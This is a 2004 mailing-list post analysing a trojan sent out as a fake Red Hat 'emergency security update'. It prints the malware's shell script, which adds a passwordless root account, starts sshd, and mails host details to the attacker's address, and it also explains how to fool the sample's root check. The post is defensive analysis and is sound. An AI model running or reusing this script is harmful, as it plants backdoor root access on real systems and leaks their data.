Preliminary analysis of this dweeb (was: Re: Fake Emails about Emergency Security Update)

[Paul Iadonisi]

On Sun, 2004-10-24 at 18:35, Sindre Pedersen Bjordal wrote:
> http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734
> 
> Ewdinson Then came over this tonight, first time I've ever seen anything
> like this. I don't know who I'm supposed to contact about this, but an
> email here might get the message across. 
> 
> IANAL, but this must be a legal issue, as there's clearly a trademark
> violation. 

  I'm no security expert, but this appears to be a really inept attempt
to set up a back door password-less root account accessible via ssh.  It
could work, but you'd have to pretty inept to let it happen.
  The file in question is fileutils-1.0.6.patch.tar.gz with an md5sum of
68349c219d941209af8f7c968b89d622.  Untarring it creates a directory
named fileutils-1.0.6.patch with three files in it: a Makefile, inst.c,
and fileutils-patch.bin.
  A simple 'file fileutils-patch.bin' reveals it as an old rpm (circa
2002( of the fileutils rpm.  And an 'rpm -qip fileutils-patch.bin'
reveals it as an actual rpm built (and signed!) by Red Hat back around
that time.  This file, I believe is just a decoy.
  The Makefile simply compiles the inst.c file, yielding an inst
executable.
  The inst.c is the interesting file that has the guts of the exploit. 
First, the headers reveal, as someone else in this thread has noted,
that it is some kind of 'Generic Script Compiler'.  A simple Google
search turns up http://www.datsi.fi.upm.es/~frosal/.  It's apparently a
way of obfuscating shell scripts.

Dweeb mistake #1: He distributed inst.c instead of statically compiling
                  it and distributing the inst executable which is all
                  that was needed.  Having the source made this MUCH easier
                  to analyze.

  So, I figured I'd just shutdown the networking on my FC3T3 box and
create a non-privileged user to run this exploit as, thereby preventing
any network access, including sending mail, and preventing any
corruption of system files.  This system's gonna be wiped soon, anyhow,
so I wasn't too worried.
  First thing the program does is clear the screen and bomb out if you
are not running as root.  Replacing /usr/bin/id with a script with this
content:

--- cut here ---
#!/bin/bash

echo 0
--- cut here ---

is all it took to fool it into running as a non-root user.  If you're
curious, set DEBUGEXEC in inst.c to 1 recompile and set TERM to 'dumb'
so the screen can't be cleared.  But only initial check is echoed, so
you won't see everything it attempts to do.
  After fooling the script into running as a non-root user, the script
proceeds to by telling the user that it is 'Identifying the system' and
it may take up to 2 minutes.  It then proceeds as if it is 'patching'
the 'ls' and 'mkdir' commands and displays hash marks as it is doing it.
  I ran it a second time and just ctrl-Z'd the process and did a 'ps
auxww | grep inst' which revealed the entirely inline (sh -c 'command')
script that does the dirty deed.
  This script first tries to create an account by the name of 'bash'
with root's uid/gid and no password.  It then tries to start sshd and
and sends email to root at addlebrain.com with the ip address and result of
the uptime command, along with the results of the adduser and passwd
commands.  Here's my transcription of the script roughly snagged from
the ps command, with the exception of the first two executable lines of
the script which I've added:

--- cut here --
#!/bin/sh
echo 'Are you insane?  Why are you trying to run this?'
exit
cd /tmp
clear
if [ ` id -u` != "0" ]; then
	echo "This patch must be applied as "root", and you are: \"`whoami`\"
	exit
fi
echo "Identifying the system. This may take up to 2 minutes. Please wait ..."
sleep 3
if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
  echo "Inca un root frate belea: " >> /tmp/mama
  adduser -g 0 -u 0 -o bash >> /tmp/mama
  passwd -d bash >> /tmp/mama
  ifconfig >> /tmp/mama
  uname -a >> /tmp/mama
  sshd >> /tmp/mama
  echo "user bash stii tu" >> /tmp/mama
  cat /tmp/mama | mail -s 'Inca o roata" root at addlebrain.com >> /dev/null
  rm -rf /tmp/mama
  mkdir /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
fi
bla()
{
	sleep 2
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 2
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 3
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 4
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 1
	echo -n "#"
	sleep 1
	echo -n "#"
}

echo "System looks OK. Proceeding to next step."
sleep 1
echo
echo -n "Patching \"ls\":
bla()
echo -n "Patching \"mkdir\":
bla()
echo
echo "System updated and secured successfully. You may erase these files."
sleep 1
--- cut here ---

Dweeb mistake #2: This isn't even a proper root kit.  It looks like the
                  only thing needed to fix it is 'userdel bash'.  Done.

Dweeb mistake #3: According to 'whois addlebrain.com', his domain is 'Locked'.
                  Appears maybe he hasn't paid his bills?  Or he's been caught
                  already.

  This was just too easy to figure out.  Granted, it could have fooled
some n00bs who weren't familiar with Red Hat's update procedure, but
then again, even n00bs might have a hard time installing this 'patch'.

-- 
-Paul Iadonisi
 Senior System Administrator
 Red Hat Certified Engineer / Local Linux Lobbyist
 Ever see a penguin fly?  --  Try Linux.
 GPL all the way: Sell services, don't lease secrets